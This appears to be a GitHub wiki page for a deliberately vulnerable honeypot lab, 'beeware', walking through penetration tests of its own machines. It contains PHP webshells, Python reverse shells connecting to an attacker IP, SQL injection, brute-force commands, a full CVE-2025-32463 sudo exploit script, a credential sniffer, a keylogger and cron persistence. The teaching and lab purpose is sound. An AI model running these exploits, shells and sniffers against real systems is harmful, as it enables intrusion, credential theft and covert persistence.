-
Notifications
You must be signed in to change notification settings - Fork 0
6. Pentesting
Since this project is a honeypot, it is voluntarily vulnerable. It has been realized using specific software versions. Here are some of the exploits.
Before performing exploits it's really important knowing which machines, services, ports can be attacked and the tecniques and tools required to do so. That's why the very first thing that's usually done is a nmap enumeration.
sudo nmap 172.17.0.128/25There are a few webservers, so the python script dirsearch.py can be used to scan webservers' files and directories to look for vulnerable elements.
python dirsearch.py -u <website-url>In order to compromise either a network or a specific machine belonging to a network, the various attemps obviously must be made from the outside, starting with exploiting machines or services reachable by your own computer.
The first vulnerability that can be exploited is the webshell in blackhoney.theboys.it on the wsa2 machine. The php page has something like this.
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['input'])) {
$output = shell_exec($_POST['input']);
echo "<pre>$output</pre>";
} else {
echo "No sent data.";
}
}
?>First we have to set a server on a specific port on the attacker's machine.
# OpenBSD Netcat
nc -lvp 4444
# Traditional Netcat
nc -vl 4444 -e /bin/bash Then this python command, pasted on the webshell, connects the webserver to the nc server on the attacker's machine, redirecting the streams from the first to the second.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.178.36",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'Since this honeypot is entirely IPv6, the ip address must be translated. It is possible to use https://networking-toolbox.as93.net/ip-address-convertor/ipv6/nat64
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("2001:db8:64:ff9b::c0a8:b224", 4444));os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(["/bin/bash", "-i"]);'Now the attacker should be logged into the webserver as the www-data user. To gain complete access to the machine as root it is necessary to perform a privilege escalation. The command getcap can be used to do so.
find / -type f -exec getcap {} + 2>/dev/nullAnother tool that searches the file capabilities is linpeas, that can be found in this repo: linPEAS
Since Python3 has the capability of changing the uid, the privilege escalation can be performed with this code.
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'The shell can be changed to a better one with the following command:
python3 -c 'import pty; pty.spawn("/bin/bash")'Another weakness that can be exploited is the png uploader on puffcats.theboys.it because of its lack of format restrictions.
It is, in fact, possible to perform a RFI - remote file inclusion- by uploading a file <name>.php. This php page can contain malicious code, which can be used to perform different attacks, such as putting a webshell that can be exploited as done on wsa2.
The php page can contain something like this.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>Then, broswing to this page, it is possible to perform the same exploitation used on wsa2.
The website zenglish.theboys.it contains a ranking showing usernames, points and some other "useless" information. That's realized by querying a database with users data with a GET request. So that can be exploited to get sensitive data with an SQL injection. The following query we can obtain password, name, surname and email belonging to registered users.
http://zenglish.theboys.it/classifica.php?search=0%27%20UNION%20SELECT%20password%20,%20nome,%20cognome,%20email%20FROM%20utente%20WHERE%201=%271So, since there are no parameter binding inside the PHP code, the database query turns from $query = "SELECT id, username, livello, punteggio FROM utente WHERE username = '$username';"; to $query = "SELECT id, username, livello, punteggio FROM utente WHERE username = '0' UNION SELECT password, nome, cognome, email FROM utente WHERE 1=1;";
When a website contains a login form, it can be possible to perform a credentials brute-force. Hydra can be used for such this work. There's an exaple on zenglish.theboys.it.
hydra zenglish.theboys.it http-form-post "/login.php:username=^USER^&password=^PASS^:Non" -l lorenza -p suricata -t 5 -w 60Once you've gained access exploiting the exposed services, the other machines can be compromised with "horizontal" attacks. That can be done by using the previously machine you've broken into as a pivot. This technique, called pivoting, allows to use a pwned intermediate system to attack another machine you wouldn't otherwise have access to.
In ipv6 it is possible to get a machine neighbors (other devices connected to the same lan) by doing a broadcast ping and checking the neighbor cache. In this case, the servers are all connected to a vlan and the link-local addresses are collectable in this way.
ping6 -I eth0 ff02::1
ip -6 neighbor showThe pivoting can be realized with the SSH tunneling. The syntax is
ssh -L <local-port>:<target-ip>:<target-port> <user>@<pivot-ip>For instance, the line ssh -L 9445:192.168.1.100:445 root@10.0.0.5 "redirects" the service listening on port 445 of the target 192.168.1.100 onto the localhost 9445 port, through the pivot with ip 10.0.0.5.
In beeware's case, after pwning a machine, wsa2 for example, the tunnel ssh can be made in this way. Note that, once you've added the user, you must change the ssh config file because sshd was configured to be listening only on eth0.
# on wsa2 with root privileges
adduser elliot
nano /etc/ssh/sshd_config # comment or delete last line
systemctl restart ssh
# on host
ssh -L 1234:[<link-local-ip>%eth0]:22 elliot@<pivot-ipv4>The ssh tunneling can be used to perform a SSH brute-force, attempting to log in as an authorized user via SSH.
Here are brute-force examples using Metasploit and Hydra.
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 127.0.0.1
set RPORT 1234
set USER_FILE <username-list-file>
set PASS_FILE <password-list-file>
runhydra -L <username-list-file> -P <password-list-file> ssh://127.0.0.1:8888The sudo version of the nginx image used is affected by the CVE-2025-32463 vulnerability. It is possible to perform a privilege escalation with a simple exploit published on GitHub https://github.com/mirchr/CVE-2025-32463-sudo-chwoot
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}It is possible to steal credentials using Scapy, a Python-based program which is able to manipulate packets. The following code can be placed on a compromised machine - it can be a server, a router, a computer - that's either the end-point of the communication or a middle node. It filters the packets regarding web servers (there's specified the port 80) containing in the payload keywords such as "username" or "password".
from kamene.all import *
# our packet callback
def packet_callback(packet):
if packet[TCP].payload:
payload_packet = bytes(packet[TCP].payload)
if b'username' in payload_packet.lower() or b'password' in payload_packet.lower():
print("[*] Server: %s" % packet[IP].dst)
print("[*] %s" % packet[TCP].payload)
# fire up our sniffer
sniff(filter="tcp port 80",
prn=packet_callback,
store=0)Once a machine get compromised, it is possible to retrieve everything that the attacked user digits by using a keylogger. An example can be done by using this keylogger.
# Run in the keylogger folder to compile files
make
# Run on target machine
sudo ./keylogger <server-ip> 12345
# Run on host
./serverSometimes intrusions and sotwares like keyloggers or malwares can be noted and eliminated. It is possible though to use Cron to set a recurrent attemp to connect to the reverse shell onto the attackers machine. In the following example the port stays open just for 60 seconds, making it more difficult to notice the unauthorized connection.
*/30 * * * * timeout 60 nc -lp <port>If you break into a machine as a non-root user and the file /etc/shadow has o+rx privileges, it is possible to retrieve the passwords from the hashed ones by using a tool called JohnTheRipper. The following example concerns the bind1 server.
For convenience, it is possible to copy the /etc/shadow on your computer and use JohnTheRipper locally.
john --format=crypt --wordlist=w.txt
john --show hashes.txt If there is a SQL database server, it is possible to gather information using Metasploit modules. Here's an example.
msfconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOST <ip-target> # 127.0.0.1 if you're using ssh tunneling
set USERNAME <username>
set PASSWORD <password>
run- Every time you compromise a machine it is really important to gather as much information as you can. You can do it with various enumeration tools, such as
Nmap,dirsearch.py, Metasploitauxiliary/scannermodules, and so on. - Always check the
/tmpand/backupfolders. - Check if there are files with
o+rwxpermission that seem to contain sensitive data.
Website: theboysworkers.github.io/beeware/
Contact us: theboysworkers@gmail.com